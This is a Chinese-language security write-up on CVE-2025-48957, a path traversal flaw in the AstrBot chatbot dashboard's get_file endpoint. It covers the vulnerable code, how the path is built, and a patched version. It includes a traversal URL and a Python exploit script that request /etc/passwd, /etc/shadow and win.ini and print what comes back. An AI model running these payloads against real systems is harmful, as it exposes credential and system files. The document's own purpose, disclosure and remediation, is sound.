AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)
字数 1254 2025-09-01 11:25:53
AstrBot任意文件读取漏洞(CVE-2025-48957)详细分析与复现指南
漏洞概述
AstrBot是一款开源的多平台LM聊天机器人及开发框架。在3.4.4至3.5.12版本中存在一个路径遍历漏洞(CVE-2025-48957),攻击者可以利用该漏洞读取服务器上的任意文件,可能导致敏感信息泄露。
影响版本
- 受影响版本:3.4.4至3.5.12
- 安全版本:3.5.12之后的版本
代码结构分析
AstrBot的主要代码结构如下:
astrbot/
├── api/ # 未开发插件设计的模块和工具
├── core/ # 核心代码
├── dashboard/ # WebUI后端代码
│ └── routes/ # 路由处理
├── changelogs/ # 更新日志
├── packages/ # 保留插件
├── tests/ # 测试代码
└── main.py # 主程序入口
漏洞成因分析
漏洞位于AstrBot-3.5.12/dashboard/routes/chat.py文件中的get_file方法:
async def get_file(self):
filename = request.args.get("filename")
if not filename:
return Response().error("Missing key: filename").__dict__
try:
with open(os.path.join(self.imgs_dir, filename), "rb") as f:
if filename.endswith(".wav"):
return QuartResponse(f.read(), mimetype="audio/wav")
elif filename.split(".")[-1] in self.supported_imgs:
return QuartResponse(f.read(), mimetype="image/jpeg")
else:
return QuartResponse(f.read())
except FileNotFoundError:
return Response().error("File not found").__dict__
关键问题点
- 未进行路径校验:代码直接使用用户提供的
filename参数拼接文件路径,没有对路径进行规范化或校验 - 路径拼接方式:
self.imgs_dir与用户输入的filename直接拼接,允许目录遍历 - 文件读取方式:使用
f.read()一次性读取整个文件内容,可能导致大文件读取问题
路径构造分析
self.imgs_dir的构造路径如下:
self.imgs_dir = os.path.join(get_astrbot_data_path(), "webchat", "imgs")
get_astrbot_data_path()函数定义在AstrBot-3.5.12/astrbot/core/utils/astrbot_path.py:
def get_astrbot_root() -> str:
"""获取Astrbot根目录路径"""
if path := os.environ.get("ASTRBOT_ROOT"):
return os.path.realpath(path)
else:
return os.path.realpath(os.getcwd())
def get_astrbot_data_path() -> str:
"""获取Astrbot数据目录路径"""
return os.path.realpath(os.path.join(get_astrbot_root(), "data"))
路径构造流程:
- 获取根目录:优先使用
ASTRBOT_ROOT环境变量,否则使用当前工作目录 - 拼接数据目录:在根目录下添加
data子目录 - 拼接webchat/imgs目录:最终形成
{root}/data/webchat/imgs路径
漏洞利用方法
基本利用方式
直接通过/api/chat/get_file接口,使用filename参数进行路径遍历:
http://target/api/chat/get_file?filename=../../../../etc/passwd
Python利用脚本
import requests
import argparse
from urllib.parse import quote
def check_vulnerability(url):
payloads = [
"../../../../etc/passwd",
"../../../../etc/shadow",
"../../../../Windows/win.ini"
]
for payload in payloads:
try:
target_url = f"{url}?filename={quote(payload)}"
response = requests.get(
target_url,
timeout=10,
headers={'User-Agent': 'SecurityScanner/1.0'}
)
if response.status_code == 200 and "root:x:0" in response.text:
print("\n[+] 漏洞存在!读取到的文件内容:")
print(response.text)
return True
except Exception as e:
print(f"[-] 测试失败 ({payload}): {str(e)}")
print("[-] 未检测到漏洞")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-48957 AstrBot任意文件读取漏洞检测工具")
parser.add_argument("url", help="目标URL (例如: http://example.com/api/chat/get_file)")
args = parser.parse_args()
if not args.url.startswith(("http://", "https://")):
print("[!] 请提供完整的URL (以http://或https://开头)")
exit(1)
check_vulnerability(args.url)
使用说明
- 保存脚本为
astrbot_exploit.py - 运行命令:
python astrbot_exploit.py http://target/api/chat/get_file - 脚本会自动测试常见敏感文件路径
修复建议
- 路径规范化:在处理文件路径时,应对用户输入进行规范化处理
- 路径校验:检查最终路径是否在预期目录范围内
- 使用安全函数:使用
os.path.abspath和os.path.realpath确保路径解析正确 - 白名单校验:限制可访问的文件扩展名
修复代码示例
async def get_file(self):
filename = request.args.get("filename")
if not filename:
return Response().error("Missing key: filename").__dict__
# 路径规范化与校验
try:
requested_path = os.path.normpath(os.path.join(self.imgs_dir, filename))
if not requested_path.startswith(os.path.abspath(self.imgs_dir)):
return Response().error("Invalid file path").__dict__
# 扩展名白名单
allowed_extensions = ['.jpg', '.jpeg', '.png', '.gif', '.wav']
if not any(requested_path.lower().endswith(ext) for ext in allowed_extensions):
return Response().error("File type not allowed").__dict__
with open(requested_path, "rb") as f:
# 限制读取大小
content = f.read(10 * 1024 * 1024) # 限制10MB
if filename.endswith(".wav"):
return QuartResponse(content, mimetype="audio/wav")
elif filename.split(".")[-1] in self.supported_imgs:
return QuartResponse(content, mimetype="image/jpeg")
else:
return QuartResponse(content)
except FileNotFoundError:
return Response().error("File not found").__dict__
except Exception as e:
return Response().error(f"Error: {str(e)}").__dict__
免责声明
- 本文提供的技术信息仅供学习研究使用
- 使用这些技术进行安全测试前,请确保已获得目标系统的合法授权
- 未经授权对他人系统进行测试可能违反《中华人民共和国网络安全法》
- 作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责
总结
CVE-2025-48957漏洞是一个典型的路径遍历漏洞,由于未对用户输入进行充分校验导致。开发人员在处理文件操作时应始终遵循最小权限原则,对用户输入进行严格校验,并使用安全的路径处理方法。安全研究人员在测试此类漏洞时应注意遵守法律法规,仅在授权范围内进行测试。